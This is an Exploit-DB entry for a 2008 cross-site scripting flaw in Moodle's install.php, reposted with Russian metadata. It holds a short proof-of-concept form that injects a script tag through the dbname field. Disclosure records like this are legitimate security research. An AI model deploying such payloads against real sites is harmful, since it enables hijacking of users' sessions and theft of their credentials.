- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 31020
- Проверка EDB
-
- Пройдено
- Автор
- HANNO BOCK
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- cve-2008-0123
- Дата публикации
- 2008-01-12
Код:
source: https://www.securityfocus.com/bid/27259/info
Moodle is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
This issue affects versions prior to Moodle 1.8.4.
<form method="post" action="http://localhost/moodle/install.php"> <input type="hidden" name="stage" value="3"> <input type="text" name="dbname" value='"><script>alert(1)</script>'> <input type=submit> </form>
- Источник
- www.exploit-db.com